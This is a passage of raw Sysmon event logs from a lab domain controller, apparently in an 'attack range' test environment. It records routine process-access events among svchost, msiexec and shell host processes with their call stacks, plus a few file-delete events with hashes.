Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac 10341000x800000000000000043362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.237{7BD73061-6E8E-613B-1107-00000000F001}41165572C:\Windows\system32\msiexec.exe{7BD73061-6F59-613B-1A09-00000000F001}2816C:\Windows\SysWOW64\msiexec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\apphelp.dll+20ffd|C:\Windows\system32\apphelp.dll+209c1|C:\Windows\system32\Msi.dll+19e41d|C:\Windows\system32\Msi.dll+2eaae|C:\Windows\system32\Msi.dll+47505|C:\Windows\system32\Msi.dll+10a8c5|C:\Windows\system32\Msi.dll+109ae6|C:\Windows\system32\Msi.dll+f407f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a384|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=6B63529FF20F8C10E4E325286224DF03,SHA256=02BE9CBE587206A7853B6122E923A1BEC8117522F2059F1D0C984D64A44E79A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b142.msiMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\ActionCenterCache\microsoft-explorer-notification--d1f6275c-b9a0-a25e-7f73-51b54487be4c-_6_0.pngMD5=00E5FCFD833151F7CBDE607E2F7AFEB4,SHA256=B80192AAABE007BAECD0603E3CE183E9D554B8A6B0411D20716ACFA086AE3035,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 